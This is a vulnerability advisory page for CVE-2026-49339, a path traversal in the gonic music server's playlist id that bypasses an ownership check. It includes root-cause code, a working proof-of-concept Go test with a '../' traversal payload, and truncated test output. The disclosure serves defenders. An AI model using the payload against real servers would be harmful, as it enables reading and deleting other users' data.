🛡️ CVE-2026-49339 — gonic
Description
gonic: Path Traversal in playlist id bypasses ownership check, enabling any user to read/delete other users' playlists
Summary
The maintainer's recent fix in [6dd71e6a3c966867ef8c900d359a7df75789f410](https://github.com/sentriz/gonic/commit/6dd71e6) (fix(subsonic): enforce playlist ownership on getPlaylist/deletePlaylist) added an ownership check based on playlist.UserID. However, playlist.UserID is derived from the *first path segment* of the attacker-controlled playlist ID, with no path containment on the resolved file path.
Any authenticated Subsonic user can therefore bypass the ownership check and:
1. Read any other user's playlist (name, comment, IsPublic flag, song list) by crafting a base64-encoded playlist ID whose first segment matches their own user ID, followed by .. traversal segments pointing into another user's playlist directory.
2. Delete any other user's playlist (including admin's curated playlists) by the same trick against deletePlaylist.
3. Probe arbitrary file paths on the host for existence/readability.
This is a bypass of the boundary the 6dd71e6 fix is trying to enforce; it is closely related to the original GONIC-1 IDOR but uses a different primitive (path traversal in the id parameter rather than direct cross-user access).
Root cause
server/ctrlsubsonic/handlers_playlist.go::playlistIDDecode performs raw base64 decode of the id parameter and passes the byte string straight to playlistStore.Read/Delete:
```go
func playlistIDDecode(id specid.ID) string {
path, _ := base64.URLEncoding.DecodeString(id.StringValue)
return string(path)
}
```
playlist/playlist.go::Store.Read then:
```go
absPath := filepath.Join(s.basePath, relPath) // no containment check
// ...
playlist.UserID, err = userIDFromPath(relPath) // extracts firstPathEl, e.g. "2"
if err != nil {
playlist.UserID = 1 // fallback
}
```
userIDFromPath reads only the first segment via firstPathEl(relPath) (strconv.Atoi of strings.Split(path, "/")[0]). It does not validate that the cleaned absolute path stays under s.basePath.
The id parameter is base64-decoded as raw bytes (no path cleaning at decode time), so a payload like "2/../../<victim>/playlist.m3u" is preserved verbatim. userIDFromPath extracts "2" (the attacker's own user ID), playlist.UserID = 2, and the ownership check playlist.UserID != user.ID && !playlist.IsPublic becomes 2 != 2 && ... → false → access allowed. Meanwhile filepath.Join resolves the .. segments and escapes basePath.
Affected code
playlist/playlist.go:88-144—Store.ReadjoinsrelPathwithbasePathwithout containment validationplaylist/playlist.go:200-206—Store.Delete(same pattern)playlist/playlist.go:208-220—userIDFromPath/firstPathEltrust only the first path segmentserver/ctrlsubsonic/handlers_playlist.go:51-72—ServeGetPlaylistownership checkserver/ctrlsubsonic/handlers_playlist.go:182-202—ServeDeletePlaylistownership checkserver/ctrlsubsonic/handlers_playlist.go:209-212—playlistIDDecode(no validation)
Live PoC — passing Go test
Drop this into server/ctrlsubsonic/handlers_playlist_read_traversal_test.go and run go test -run TestGetPlaylistArbitraryRead_NonAdmin_UserIDPrefix ./server/ctrlsubsonic/ -v:
```go
package ctrlsubsonic
import (
"fmt"
"net/url"
"os"
"path/filepath"
"testing"
"github.com/stretchr/testify/require"
)
func TestGetPlaylistArbitraryRead_NonAdmin_UserIDPrefix(t *testing.T) {
f := newFixture(t)
t.Logf("alt user ID: %d, admin user ID: %d", f.alt.ID, f.admin.ID)
// Plant a sentinel M3U file outside the playlists directory.
tmpDir := filepath.Dir(f.contr.musicPaths[0].Path)
sentinelDir := filepath.Join(tmpDir, "sensitive")
require.NoError(t, os.MkdirAll(sentinelDir, 0o755))
sentinelPath := filepath.Join(sentinelDir, "secret.m3u")
require.NoError(t, os.WriteFile(sentinelPath, []byte(`#GONIC-NAME:"victim-secret"
#GONIC-COMMENT:"sensitive content"
#GONIC-IS-PUBLIC:"false"
`), 0o644))
// RAW string — playlistIDDecode does base64 only, no path cleaning.
rawRel := fmt.Sprintf("%d/../../sensitive/secret.m3u", f.alt.ID)
traversalID := playlistIDEncode(rawRel).String()
// f.alt is the NON-ADMIN user.
resp := f.query(t, f.contr.ServeGetPlaylist, f.alt, url.Values{"id": {traversalID}})
t.Logf("resp: %s", string(resp))
require.Contains(t, string(resp), "victim-secret",
"VULNERABLE: non-admin user (ID=%d) read playlist outside playlists/", f.alt.ID)
}
```
Test output against current master HEAD 6dd71e6:
```
=== RUN TestGetPlaylistArbitraryRead_NonAdmin_UserIDPrefix
alt user ID: 2, admin user ID: 1
resp: {"subsonic-response":{"status":"ok","version":"1.15.0","type":"gonic","openSubsonic":true,
"playlist":{"id":"pl-Mi8uLi8uLi9zZW5zaXRpdmUvc2VjcmV0Lm0zdQ==",
"name":"victim-secret","comment":"sensitive content","owner":"alt",
"
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality low, integrity high, availability none.
Weakness class
CVE-2026-49339 is classified as CWE-22: Path Traversal. A file path built from user input is not confined to the intended directory, letting an attacker reach files elsewhere on the filesystem.
Affected software
CVE-2026-49339 is recorded against 2 packages.
- go.senan.xyz/gonic
- unknown
Timeline and source
Published on 26 June 2026 and last revised on 7 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.
References
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Web)
github.com (Package)
Details
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| go.senan.xyz/gonic | — | — |
| unknown | — | — |
References
Similar Threats
- High CVE-2026-49338
- High CVE-2026-49340
Site Security Check
Is gonic part of your stack?
CVE-2026-49339 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.